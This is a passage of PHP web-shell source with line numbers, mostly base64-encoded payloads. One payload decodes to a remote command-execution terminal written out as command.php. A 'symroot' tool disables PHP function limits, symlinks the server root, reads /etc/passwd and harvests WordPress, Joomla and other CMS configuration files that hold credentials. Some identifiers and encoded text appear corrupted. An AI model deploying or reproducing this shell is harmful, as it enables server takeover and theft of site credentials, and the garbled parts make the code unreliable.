leHBsbaRlKCIuIiwgcahlbGxfZXhlYygidWihbWUgLWuiKSk7CiRfU0VTU0lPTlsncHJvbXB0J60gPSAiIiiydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRoboN0WzBdKSuiIjsKfQoKZnVuYoRpbaugYahlYatQYXNzda9yZCgkcGFzcodkKSB7CmlmKCFpcoNldCgkX6NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpcoNldCgkX6NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzcaV0KCRwYXNzdaRbJF9TRVJWRVJbJ6BIUF9BVVRIX6VTRVInXV0pIHx8CiRwYXNzdaRbJF9TRVJWRVJbJ6BIUF9BVVRIX6VTRVInXV0gIT0gJF9TRVJWRVJbJ6BIUF9BVVRIX6BXJ60pIHsKQHNlcoNpbaifcoRhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uXoN0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ6bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW6wdHkoJF9TRVNTSU9OWydjdaQnXSkgfHwgIWVtcHRiKCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjdaQnXSA9IGdldGNoZCgpOwokX6NFU6NJT0ibJahpcoRvcnknXSA9IGFycmFiKCk7CiRfU0VTU0lPTlsnboV0cHV0J60gPSAnJzsKJF9SRVFVRVNUWydjba6tYWikJ60gPScnOwp9Cn0KCmZ6bmN0aW9uIGJ6aWxkQa9tbWFuZEhpcoRvcnkoKQp7CmlmKCFlbXB0eSgkX6JFUVVFU6RbJaNvbW6hbmQnXSkpCnsKaWYoZaV0Xa6hZaljXoF6boRlc69ncGMoKSkKewokX6JFUVVFU6RbJaNvbW6hbmQnXSA9IHN0cmlwcaxhcahlcygkX6JFUVVFU6RbJaNvbW6hbmQnXSk7Cn0KCi8vIGRyboAgbaxkIGNvbW6hbmRzIGZyba0gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmFiXoNlYXJjaCgkX6JFUVVFU6RbJaNvbW6hbmQnXSwgJF9TRVNTSU9OWydoaXN0boJiJ60pKSAhPT0gZmFscaUpCnsKdWizZXQoJF9TRVNTSU9OWydoaXN0boJiJ66bJGldKTsKfQphcnJheV96bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX6JFUVVFU6RbJaNvbW6hbmQnXSk7CgovLyBhcHBlbmQgYa9tbW6hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J669IiuiOjuiLiJ7JF9SRVFVRVNUWydjba6tYWikJ669IiuiXGuiOwp9Cn0KCmZ6bmN0aW9uIGJ6aWxkSmFaYUhpcoRvcnkoKQp7Ci8vIGJ6aWxkIGNvbW6hbmQgaGlzdG9yeSBmboIgdXNlIGluIHRoZSBKYXZhUaNyaXB0CmlmIChlbXB0eSgkX6NFU6NJT0ibJahpcoRvcnknXSkpCnsKJF9TRVNTSU9OWydqc69jba6tYWikXahpcoQnXSA9ICciIic7Cn0KZWxzZQp7CiRlcaNhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0boJiJ60pOwokX6NFU6NJT0ibJapzXaNvbW6hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuYoRpbaugboV0cHV0SGFuZGxlKCRhbGlhcaVzKQp7CmlmIChlcmVnKCdeW6seYmxhbmseXV0qYaRbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjba6tYWikJ60pKQp7CiRfU0VTU0lPTlsnYodkJ60gPSBnZXRjdaQoKTsgLy9kaXJuYW6lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYWirOl6dKmNkW6seYmxhbmseXV0rKFteO60rKSQnLCAkX6JFUVVFU6RbJaNvbW6hbmQnXSwgJHJlZoMpKQp7Ci8vIFRoZSBjdXJyZWi0IGNvbW6hbmQgaXMgJaNkJywgdahpYaggdaUgaGFaZSB0byBoYWikbGUgYXMgYWugaWi0ZXJuYWwgcahlbGwgYa9tbWFuZCuKLy8gYWJzbax6dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZoNbMV6bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZoNbMV0gOiAkbmVoXaRpciA9ICRfU0VTU0lPTlsnYodkJ60gLiAnLycgLiAkcmVnc6sxXTsKCi8vIGNvca6ldGljcwpoaGlsZSAocoRycG9zKCRuZXdfZGlyLCAnLyuvJykgIT09IGZhbHNlKQokbmVoXaRpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKdahpbGUgKHN0cnBvcygkbmVoXaRpciwgJy8vJykgIT09IGZhbHNlKQokbmVoXaRpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJGild69kaXIpOwpoaGlsZSAocHJlZ69tYXRjaCgnfC9cLlwuKD8hXCupfCcsICRuZXdfZGlyKSkKJGild69kaXIgPSBwcmVnXoJlcGxhYaUoJowvP6teL60rL6wuXCuoPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHRiKCRuZXdfZGlyKSkeICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAYahkaXIoJGild69kaXIpKSA/ICRfU0VTU0lPTlsnYodkJ60gPSAkbmVoXaRpciAeICRfU0VTU0lPTlsnboV0cHV0J60gLj0gImNvdWxkIGivdCBjaGFuZaUgdG8eICRuZXdfZGlyXGuiOwp9CmVscaUKewovKiBUaGUgYa9tbWFuZCBpcyBuboQgYSAnYaQnIGNvbW6hbmQsIHNvIHdlIGVuZWN6dGUgaXQgYWZ0ZXIKKiBjaGFuZaluZyB0aGUgZGlyZWN0boJiIGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnYodkJ60pOwoKLyogQWxpYXMgZXhwYWizaW9uLiAqLwokbGVuZoRoID0gcoRyYoNwbigkX6JFUVVFU6RbJaNvbW6hbmQnXSwgIiBcdCIpOwokdG9rZWugPSBzdWJzdHIoQCRfUkVRVUVTVFsnYa9tbWFuZCddLCAwLCAkbGVuZoRoKTsKaWYgKGlzcaV0KCRhbGlhcaVzWyR0batlbl0pKQokX6JFUVVFU6RbJaNvbW6hbmQnXSA9ICRhbGlhcaVzWyR0batlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjba6tYWikJ60sICRsZWindGgpOwoKJHAgPSBwcm9jXa9wZWuoQCRfUkVRVUVTVFsnYa9tbWFuZCddLAphcnJheSgxID0+IGFycmFiKCdwaXBlJywgJocnKSwKMiA9PiBhcnJheSgncGlwZScsICdoJykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgcaVudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnboV0cHV0J60gLj0gaHRtbHNwZWNpYWxjaGFycyhmZaV0cygkaW9bMV0pLEVOVF9DT06QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgboV0cHV0IHNlbnQgdG8gcoRkZXJyLiAqLwpoaGlsZSAoIWZlbaYoJGlvWzJdKSkgewokX6NFU6NJT0ibJa96dHB6dCddICu9IGh0bWxzcGVjaWFsYahhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsboNlKCRpb6sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jXaNsboNlKCRwKTsKfQp9Cn0gLy8gZWikIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG6haWugdGhpbmcgcoRhcnRzIGhlcmUKIyMgQWxsIG96dHB6dCBpcoQgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmVoIHBocHRoaWVubGU7CkBzZXNzaW9uXoN0YXJ0KCk7CiR0ZXJtaWihbC0+aWipdFZhcnMoKTsKJHRlcm6pbmFsLTiidWlsZENvbW6hbmRIaXN0boJiKCk7CiR0ZXJtaWihbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm6hdFByba6wdCgpOyBlbmRpZjsKJHRlcm6pbmFsLTivdXRwdXRIYWikbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDbai0ZWi0LVRicGUeIHRleHQvaHRtbDsgYahhcnNldD6VVEYtOCcpOwplYahvICc8PohtbCBaZXJzaW9uPSIxLjAiIGVuYa9kaWinPSJVVEYtOCI/PicgLiAiXGuiOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uYoRpbauKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ6RZUEUgaHRtbCBQVUJMSUMgIi0vL6czQy8vRFREIFhIVE6MIDEuMCBTdHJpYoQvL0VOIgoiaHR0cDovLododyioMyivcmcvVFIveGh0bWwxL0RURC9uaHRtbDEtcoRyaWN0LmR0ZCI+CjxodG6sIHhtbGizPSJodHRwOi8vdodoLnczLm9yZy8xOTkiLohodG6sIiBubWwebGFuZz0iZWuiIGxhbmc9ImVuIjuKPGhlYWQ+Cjx0aXRsZTu8PoBocCBlYahvICJXZWJzaXRlIDogIiukX6NFUlZFUlsnSFRUUF9IT6NUJ60uIiI7PzugfCA8PoBocCBlYahvICJJUCAeICIuZaV0aG9zdGJibmFtZSgkX6NFUlZFUlsnU0VSVkVSX0iBTUUnXSkuIiI7Pzu8LoRpdGxlPgo8caNyaXB0IHRicGU9InRleHQvamFaYXNjcmlwdCIgbGFuZoVhZaU9IkphdmFTYoJpcHQiPgpaYXIgYoVycmVudF9saWilID0gMDsKdmFyIGNvbW6hbmRfaGlzdCA9IGildyBBcnJheSg8PoBocCBlYahvICRfU0VTU0lPTlsnanNfYa9tbWFuZF9oaXN0J607ID8+KTsKdmFyIGxhcoQgPSAwOwpmdWijdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gdaluZG9oLmVaZWi0OwppZiAoZSirZXlDbaRlID09IDMuICYmIGN6cnJlbnRfbGluZSA8IGNvbW6hbmRfaGlzdCisZWindGgtMSkgewpjba6tYWikXahpcoRbYoVycmVudF9saWilXSA9IGRvYoVtZWi0LnNoZWxsLmNvbW6hbmQudmFsdWU7CmN6cnJlbnRfbGluZSsrOwpkbaN6bWVudCizaGVsbCijba6tYWikLnZhbHVlID0gYa9tbWFuZF9oaXN0WaN6cnJlbnRfbGluZV07Cn0KaWYgKGUuaaViQa9kZSA9PSA0MCAmJiBjdXJyZWi0XaxpbmUgPiAwKSB7CmNvbW6hbmRfaGlzdFtjdXJyZWi0XaxpbmVdID0gZG9jdW6lbnQucahlbGwuYa9tbWFuZCiaYWx6ZTsKYoVycmVudF9saWilLS07CmRvYoVtZWi0LnNoZWxsLmNvbW6hbmQudmFsdWUgPSBjba6tYWikXahpcoRbYoVycmVudF9saWilXTsKfQp9CmZ6bmN0aW9uIGluaXQoKSB7CmRvYoVtZWi0LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0baNvbXBsZXRlIiwgIm9mZiIpOwpkbaN6bWVudCizaGVsbCivdXRwdXQucaNybaxsVG9wID0gZG9jdW6lbnQucahlbGwuboV0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW6lbnQucahlbGwuYa9tbWFuZCimbaN6cygpOwp9CjwvcaNyaXB0Pgo8coRibGUgdHlwZT0idGVudC9jcoMiPgpibaRiIHtmbai0LWZhbWlseTogcaFucy6zZXJpZjsgYa9sboIeIGJsYWNrOyBiYWNrZoJvdWikOiBoaGl0ZTt9CnRhYmxleodpZHRoOiAxMDAlOyBoZWlnaHQeIDI6MHBuOyBiboJkZXIeIDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaWinOiAwcHg7IG6hcmdpbjogMHBuOo0KdGQuaGVhZHtiYWNrZoJvdWikLWNvbG9yOiAjNTIiQURFOyBjbaxvcjogI0ZGRkZGRjsgZm9udC6oZWlnaHQeNzAwOyBiboJkZXIeIGivbmU7IHRleHQtYWxpZaueIGNlbnRlcjsgZm9udC6zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7dalkdGgeIDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnBuIDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZoJvdWikLWNvbG9yOiAjMDAwMDAwOo0KcCiwcm9tcHQgeaZvbnQtZmFtaWxiOiBtbaivcoBhYaU7IG6hcmdpbjogMHBuOyBwYWRkaWinOiAwcHggMnBuIDJweDsgYmFjaadyboVuZC6jbaxvcjogIzAwMDAwMDsgYa9sboIeICNDQ0NDQ0M7fQppbnB6dCiwcm9tcHQgeaJvcmRlcjogbm9uZTsgZm9udC6mYW6pbHkeIG6vbm9zcGFjZTsgYmFjaadyboVuZC6jbaxvcjogIzAwMDAwMDsgYa9sboIeICNDQ0NDQ0M7fQo8LoN0eWxlPgo8LahlYWQ+CjxibaRiIG9ubG9hZD0iaWipdCgpIjuKPGgyPkRldmVsboBlciBCeSBLeW6MamirPC9oMjuKCjw/cGhwIGlmIChlbXB0eSgkX6JFUVVFU6RbJoJvdoMnXSkpICRfUkVRVUVTVFsncm9ocyddID0gMjY7ID8+Cgo8dGFibGUgYaVsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaWinPSIwIjuKPHRyPjx0ZCBjbGFzcz0iaGVhZCIgcoRibGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8LaI+PC90ZDuKPHRkIGNsYXNzPSJoZWFkIju8PoBocCBlYahvICRfU0VTU0lPTlsncHJvbXB0J60uIjoiLiIkX6NFU6NJT0ibYodkXSI7ID8+CjwvdGQ+PC90cjuKPHRyPjx0ZCBoaWR0aD0nMTAwJScgaGVpZah0PScxMDAlJyBjbaxzcGFuPScyJzu8Zm9ybSBuYW6lPSJzaGVsbCIgYWN0aW9uPSI8PoBocCBlYahvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRobaQ9InBvcoQiPgo8dGVudGFyZWEgbmFtZT0iboV0cHV0IiByZWFkbaiseT0icmVhZG9ubHkiIGNvbHM9Ijg6IiBybodzPSI8PoBocCBlYahvICRfUkVRVUVTVFsncm9ocyddID8+IjuKPD9waHAKJGxpbmVzID0gcoVicoRyXaNvdWi0KCRfU0VTU0lPTlsnboV0cHV0J60sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWFuKDAsICRfUkVRVUVTVFsncm9ocyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnboV0cHV0J60pOwo/Pgo8LoRleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Iju8PoBocCBlYahvICRfU0VTU0lPTlsncHJvbXB0J60uIjo+IjsgPzuKPGlucHV0IGNsYXNzPSJwcm9tcHQiIGihbWU9ImNvbW6hbmQiIHRicGU9InRleHQiIG9uaaVidXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcDuKCjw/IC8qPHA+CjxpbnB6dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW6hbmQiIC8+CjxpbnB6dCB0eXBlPSJzdWJtaXQiIGihbWU9InJlcaV0IiBaYWx6ZT0iUmVzZXQiIC8+ClJvdoMeIDxpbnB6dCB0eXBlPSJ0ZXh0IiBuYW6lPSJybodzIiBaYWx6ZT0iPD9waHAgZWNobyAkX6JFUVVFU6RbJoJvdoMnXSA/PiIgLzuKPC9wPgoqLz8+CjwvZm9ybTu8LoRkPjwvdHI+CjwvYm9keTuKPC9odG6sPgo8PoBocCA/Pg==';
2407 $file = fopen("command.php", "w+");
2408 $write = fwrite($file, baseeu_decode($perltoolss));
2409 fclose($file);
2410 echo "<iframe src=command.php width=eo% height=700px frameborder=0></iframe> ";
2411}
2412//symroot
2413elseif ($action == 'symroot') {
2414 $file = fopen($dir . "symroot.php", "w+");
2415 $perltoolss = 'PD9waHAKCgogJGhlYWQgPSAnCjxodG6sPgo8aGVhZDuKPC9zYoJpcHQ+Cjx0aXRsZTutLT09W6tTeW0gbGpuayBBTGwgQa9uRmlnICsgUoltIFJvboQgQnkgTeG7uSBIdXnhuuFuXV09PS0tPC90aXRsZTuKPG6ldGEgaHR0cC6lcXVpdj0iQa9udGVudC6UeXBlIiBjbai0ZWi0PSJ0ZXh0Lah0bWw7IGNoYXJzZXQ9VVRGLTgiPgoKPFNUWUxFPgpibaRiIHsKZm9udC6mYW6pbHkeIFRhaG9tYQp9CnRyIHsKQk9SREVSOiBkYXNoZWQgMXBuICMzMzM7CmNvbG9yOiAjRkZGOwp9CnRkIHsKQk9SREVSOiBkYXNoZWQgMXBuICMzMzM7CmNvbG9yOiAjRkZGOwp9Cii0YWJsZTEgewpCT6JERVIeIDBweCBCbGFjazsKQkFDS0dST6VORC6DT0xPUjogQmxhYas7CmNvbG9yOiAjRkZGOwp9Cii0ZDEgewpCT6JERVIeIDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpmbai0OiAocHQgVmVyZGFuYTsKYa9sboIeIEdyZWVuOwp9Cii0cjEgewpCT6JERVIeIDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpjbaxvcjogI0ZGRjsKfQp0YWJsZSB7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT6JERVItQ09MT6IeICMzMzMzMzM7CkJBQ0tHUk9VTkQtQ09MT6IeIEJsYWNrOwpjbaxvcjogI0ZGRjsKfQppbnB6dCB7CmJvcmRlcgkJCTogZGFzaGVkIDFweDsKYm9yZGVyLWNvbG9yCQkeICMzMzM7CkJBQ0tHUk9VTkQtQ09MT6IeIEJsYWNrOwpmbai0OiAucHQgVmVyZGFuYTsKYa9sboIeIFJlZDsKfQpzZWxlYoQgewpCT6JERVItUklHSFQeICBCbGFjayAxcHggca9saWQ7CkJPUkRFUi6UT6AeICAgICNERjAwMDAgMXBuIHNvbGlkOwpCT6JERVItTEVGVDogICAjREYwMDAwIDFweCBzbaxpZDsKQk9SREVSLUJPVFRPTTogQmxhYasgMXBuIHNvbGlkOwpCT6JERVItYa9sboIeICNGRkY7CkJBQ0tHUk9VTkQtQ09MT6IeIEJsYWNrOwpmbai0OiAucHQgVmVyZGFuYTsKYa9sboIeIFJlZDsKfQpzdWJtaXQgewpCT6JERVIeICBidXR0baioaWdobGlnaHQgMnBuIG96dHNldDsKQkFDS0dST6VORC6DT0xPUjogQmxhYas7CndpZHRoOiAzMCU7CmNvbG9yOiAjRkZGOwp9CnRleHRhcmVhIHsKYm9yZGVyCQkJOiBkYXNoZWQgMXBuICMzMzM7CkJBQ0tHUk9VTkQtQ09MT6IeIEJsYWNrOwpmbai0OiBGaXhlZHNicyBibaxkOwpjbaxvcjogIzkiOTsKfQpCT0RZIHsKCVNDUk9MTEJBUi6GQUNFLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC6jbaxvcjogI0ZGRjsgU0NST0xMQkFSLVNIQURPVy6jbaxvcjogI0ZGRjsgU0NST0xMQkFSLTNETElHSFQtYa9sboIeICNGRkY7IFNDUk9MTEJBUi6BUlJPVy6DT0xPUjogQmxhYas7IFNDUk9MTEJBUi6UUkFDSy6jbaxvcjogI0ZGRjsgU0NST0xMQkFSLURBUktTSEFET6ctYa9sboIeICNGRkYKbWFyZaluOiAxcHg7CmNvbG9yOiBSZWQ7CmJhYatncm96bmQtYa9sboIeIEJsYWNrOwp9CiitYWluIHsKbWFyZaluCQkJOiAtMjgocHggMHBuIDBweCAtNDkwcHg7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT6JERVItQ09MT6IeICMzMzMzMzM7Cn0KLnR0IHsKYmFjaadyboVuZC6jbaxvcjogQmxhYas7Cn0KCkEebGluayB7CglDT0xPUjogVahpdGU7IFRFWFQtREVDT6JBVElPTjogbm9uZQp9CkEedmlzaXRlZCB7CglDT0xPUjogVahpdGU7IFRFWFQtREVDT6JBVElPTjogbm9uZQp9CkEeaG9aZXIgewoJYa9sboIeIFJlZDsgVEVYVC6ERUNPUkFUSU9OOiBubailCn0KQTphYoRpdmUgewoJYa9sboIeIFJlZDsgVEVYVC6ERUNPUkFUSU9OOiBubailCn0KPC9TVFlMRTuKPHNjcmlwdCBsYWindWFnZT6cJaphdmFzYoJpcHRcJzuKZnVuYoRpbaugaGlkZV9kaXYoaWQpCnsKICBkbaN6bWVudCinZXRFbGVtZWi0QnlJZChpZCkucoRibGUuZGlzcGxheSA9IFwnbm9uZVwnOwogIGRvYoVtZWi0LmNvbatpZT6pZCtcJz0wO6wnOwp9CmZ6bmN0aW9uIHNobodfZGlaKGlkKQp7CiAgZG9jdW6lbnQuZaV0RWxlbWVudEJiSWQoaWQpLnN0eWxlLmRpcoBsYXkgPSBcJaJsbaNrXCc7CiAgZG9jdW6lbnQuYa9vaallPWlkK6wnPTE7XCc7Cn0KZnVuYoRpbaugYahhbmdlXaRpdnN0KGlkKQp7CiAgaWYgKGRvYoVtZWi0LmdldEVsZW6lbnRCeUlkKGlkKSizdHlsZSikaXNwbGFiID09IFwnbm9uZVwnKQogICAgcahvd69kaXYoaWQpOwogIGVscaUKICAgIGhpZGVfZGlaKGlkKTsKfQo8LoNjcmlwdDunOyA/Pgo8aHRtbDuKCTxoZWFkPgoJCTw/cGhwIAoJCWVjaG8gJGhlYWQgOwoJCWVjaG8gJwoKPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxscoBhYaluZz0iMCIgYaVsbHBhZGRpbmc9IjAiIGNsYXNzPSJ0YjEiIDuKCgkJCQoKICAgICAgIDx0ZCBoaWR0aD0iMTAwJSIgYWxpZau9YaVudGVyIHZhbGlnbj0idG9wIiBybodzcGFuPSIxIjuKICAgICAgICAgICA8Zm9udCBjbaxvcj6yZWQgcaleZT06IGZhYaU9ImNvbWljIHNhbnMgbXMiPjxiPi0tPT6bWyBTeW0gbGpuayBBTGwgQa9uRmlnPC9mbai0Pjxmbai0IGNvbG9yPXdoaXRlIHNpemU9NSBmYWNlPSJjba6pYyBzYWizIG6zIju8YjugICArIFNibSBSba90IDwvZm9udDu8Zm9udCBjbaxvcj6ncmVlbiBzaXplPTUgZmFjZT0iYa9taWMgcaFucyBtcyI+PGI+ICBieSBNubuiIEh6eeG7gWidXT09LS08LaZvbnQ+IDxkaXYgYaxhcoM9ImhlZHIiPiAKCiAgICAgICAgPHRkIGhlaWdodD0iMTAiIGFsaWduPSJsZWZ0IiBjbGFzcz0idGQxIju8LoRkPjwvdHI+PHRyPjx0ZCAKICAgICAgICBoaWR0aD0iMTAwJSIgYWxpZau9ImNlbnRlciIgdmFsaWduPSJ0boAiIHJvdoNwYWu9IjEiPjxmbai0IAogICAgICAgIGNvbG9yPSJyZWQiIGZhYaU9ImNvbWljIHNhbnMgbXMicaleZT0iMSI+PGI+IAogICAgICAgIAkJCQkJCiAgICAgICAgICAgPC90YWJsZTuKICAgICAgICAKCic7IAoKPzuKPGNlbnRlcjuKPGZvcm0gbWV0aG9kPXBvcoQ+PGZvbnQgYa9sboI9dahpdGUgcaleZT0yIGZhYaU9ImNvbWljIHNhbnMgbXMiPjEuIENyZWF0IHBocCipbmkgZmlsZTwvZm9udDu8cDuKPGlucHV0IHRicGU9coVibWl0IGihbWU9aWipIHZhbHVlPSJ6caUgdG8gRaVuZXJhdGUgUEhQLmluaSIgLzu8LaZvcm0+CjxmboJtIG6ldGhvZD6wboN0Pjxmbai0IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjba6pYyBzYWizIG6zIjuyLiBHZXQgdXNlcmihbWVzIGZvciBzeW6saWirPC9mbai0PjxwPgoJPGlucHV0IHRicGU9coVibWl0IGihbWU9InVzcmUiIHZhbHVlPSJ6caUgdG8gRXh0cmFjdCB6caVybmFtZXMiIC8+PC9mboJtPgoJCgk8PoBocAoJaWYoaXNzZXQoJF9QT6NUWydpbmknXSkpCgl7CgkJCgkJJHI9Zm9wZWuoJoBocCipbmknLCdoJyk7CgkJJHJyPSIgZGlzYmFsZV9mdWijdGlvbnM9bm9uZSAiOwoJCWZocml0ZSgkciwkcnIpOwoJCSRsaWirPSI8YSBocmVmPXBocCipbmk+PGZvbnQgYa9sboI9dahpdGUgcaleZT0yIGZhYaU9XCJjba6pYyBzYWizIG6zXCI+PHU+boBlbiBQSFAuSUiJPC96PjwvZm9udDu8LaE+IjsKCQllYahvICRsaWirOwkKCQl9Cgk/PgoJPD9waHAKCWlmKGlzcaV0KCRfUE9TVFsndXNyZSddKSl7CgkJPzu8Zm9ybSBtZXRobaQ9cG9zdDuKCTx0ZXh0YXJlYSBybodzPTEwIGNvbHM9NTAgbmFtZT66caVyPjw/cGhwICAkdXNlcnM9ZmlsZSgiLaV0Yy9wYXNzdaQiKTsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCnsKJHN0cj6leHBsbaRlKCIeIiwkdXNlcik7CmVjaG8gJHN0clswXSuiXGuiOwp9Cgo/PjwvdGVudGFyZWE+PGJyPjxicjuKCTxpbnB6dCB0eXBlPXN6Ym6pdCBuYW6lPXN6IHZhbHVlPSJMZXRzIFN0YXJ0IiAvPjwvZm9ybTuKCTw/cGhwIH0gPzuKCTw/cGhwCgllcnJvcl9yZXBvcnRpbmcoMCk7CgllYahvICI8Zm9udCBjbaxvcj6yZWQgcaleZT0yIGZhYaU9XCJjba6pYyBzYWizIG6zXCI+IjsKCWlmKGlzcaV0KCRfUE9TVFsncoUnXSkpCgl7CgltaaRpcigncoltJywwNzcoKTsKJHJyICA9ICIgToB0aW9ucyBhbGwgXGugRGlyZWN0boJiSWikZXggUoVuLmh0bWwgXGugQWRkVHlwZSB0ZXh0LoBsYWluICiwaHAgXGugQWRkSGFuZGxlciBzZXJaZXItcGFycaVkICiwaHAgXGugIEFkZFRicGUgdGVudC9wbGFpbiAuaHRtbCBcbiBBZGRIYWikbGVyIHRudCAuaHRtbCBcbiBSZXF6aXJlIEivbmUgXGugUaF0aXNmeSBBbnkiOwokZyA9IGZvcGVuKCdzeW0vLmh0YWNjZXNzJywndycpOwpmdoJpdGUoJGcsJHJyKTsKJFNibSA9IHNibWxpbmsoIi8iLCJzeW0vcm9vdCIpOwoJCSAgICAkcnQ9IjxhIGhyZWY9coltLoJvboQ+PGZvbnQgYa9sboI9dahpdGUgcaleZT0zIGZhYaU9XCJjba6pYyBzYWizIG6zXCI+IFNibTwvZm9udDu8LaE+IjsKICAgICAgICBlYahvICJSba90IC8gZm9sZGVyIHNibWxpbmsgPGJyPjx6PiRydDwvdTuiOwoJCQoJCSRkaXI9bWtkaXIoJoNibScsMDcoNyk7CgkJJHIgID0gIiBPcHRpbaizIGFsbCBcbiBEaXJlYoRvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaWugLnBocCBcbiBBZGRIYWikbGVyIHNlcnZlci6wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0LoBsYWluICiodG6sIFxuIEFkZEhhbmRsZXIgdHh0ICiodG6sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpcaZiIEFueSI7CiAgICAgICAgJGYgPSBmboBlbigncoltLyiodGFjYaVzcycsJocnKTsKICAgCiAgICAgICAgZndyaXRlKCRmLCRyKTsKICAgICAgICAkYa9ucoltPSI8YSBocmVmPXNibS8+PGZvbnQgYa9sboI9dahpdGUgcaleZT0zIGZhYaU9XCJjba6pYyBzYWizIG6zXCI+Ya9uZmlndXJhdGlvbiBmaWxlczwvZm9udDu8LaE+IjsKICAgICAgIAllYahvICI8YnI+UoltIExqbmsgQWxsIENvbkZpZyA8YnI+PHU+PGZvbnQgYa9sboI9cmVkIHNpemU9MiBmYWNlPVwiYa9taWMgcaFucyBtc6wiPiRjbaizeW08LaZvbnQ+PC96PiI7CiAgICAgICAJCiAgICAgICAJCSR6coI9ZXhwbG9kZSgiXGuiLCRfUE9TVFsndXNlciddKTsKICAgICAgIAkkYa9uZmlndXJhdGlvbj6hcnJheSgidoAtYa9uZmlnLnBocCIsIndvcmRwcmVzcy9ocC6jbaimaWcucGhwIiwiYa9uZmlndXJhdGlvbiiwaHAiLCJibG9nLodwLWNvbmZpZyiwaHAiLCJqba9tbGEvYa9uZmlndXJhdGlvbiiwaHAiLCJaYi9pbmNsdWRlcy9jbaimaWcucGhwIiwiaWijbHVkZXMvYa9uZmlnLnBocCIsImNvbmZfZaxvYmFsLnBocCIsImluYy9jbaimaWcucGhwIiwiYa9uZmlnLnBocCIsIlNldHRpbmdzLnBocCIsInNpdGVzLaRlZmF6bHQvcaV0dGluZoMucGhwIiwidahtLaNvbmZpZoVyYXRpbauucGhwIiwidahtYoMvYa9uZmlndXJhdGlvbiiwaHAiLCJzdXBwboJ0LaNvbmZpZoVyYXRpbauucGhwIiwidahtYy9